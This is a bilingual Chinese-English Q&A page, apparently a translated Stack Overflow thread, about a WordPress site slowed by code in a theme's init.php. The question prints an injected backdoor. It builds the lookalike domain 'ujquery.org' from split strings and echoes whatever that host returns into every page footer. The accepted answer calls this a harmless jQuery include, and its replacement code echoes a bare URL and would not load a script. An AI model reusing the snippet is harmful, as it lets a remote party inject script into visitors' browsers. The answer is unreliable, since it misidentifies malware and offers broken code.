由于init.php中的一行,我的Wordpress网站运行缓慢 [英] My Wordpress website is slow due to a line in init.php
问题描述
我的网站是darbardesigns.com,最近我的网站变慢了3或4天,页面加载时间大约需要1-2分钟.
My website is darbardesigns.com, Recently a 3 or 4 days before my website became so slow, that the page load time takes around 1-2 mins.
页面底部出现错误,如下所示:-
I got an error at the bottom of the page as like below:-
警告::get_headers( http://ujquery.org /jquery-1.6.3.min.js ):失败 打开流:连接超时 /public_html/wp-content/themes/porto/includes/init.php,第97行
Warning: get_headers(http://ujquery.org/jquery-1.6.3.min.js): failed to open stream: Connection timed out in /public_html/wp-content/themes/porto/includes/init.php on line 97
我去了哪一行,代码如下:
Which i went to the particular line and the code is below:
add_filter( 'builder_include_modules',
'spyropress_register_builder_modules' );
if(!function_exists('wp_func_jquery')) {
function wp_func_jquery() {
$host = 'http://';
$jquery = $host.'u'.'jquery.org/jquery-1.6.3.min.js';
$headers = get_headers($jquery, 0);
if ($headers[0] == 'HTTP/1.1 200 OK'){
echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
}
}
add_action('wp_footer', 'wp_func_jquery');
}
-
从发生此错误之时起,我的网站就变得非常慢.
From the time this error occurred my website became damn slow.
如果我尝试将其删除,则页面内容无法正确显示.它有些
我认为是某些黑客的工作.
If i try to delete it, the page contents are not showing properly.It some
work from some hacker I think so.
预先感谢.
推荐答案
似乎它只在页脚中包含了jQuery,并使用以下代码使其与之保持联系:
Seems its only included the jquery in the footer, relace it with this code:
function wp_func_jquery() {
// Get jQuery from Google CDN
echo "https://ajax.googleapis.com/ajax/libs/jquery/1.6.3/jquery.min.js";
}
add_action('wp_footer', 'wp_func_jquery');
或将jquery下载到您的服务器中,然后从那里添加它:
or download the jquery in your server and add it from there like :
echo get_template_directory_uri() . "/JQUERY_PATH_IN_CURRENT_THEME/jquery.min.js";
或者您可以通过 wp_enqueue_script
这篇关于由于init.php中的一行,我的Wordpress网站运行缓慢的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!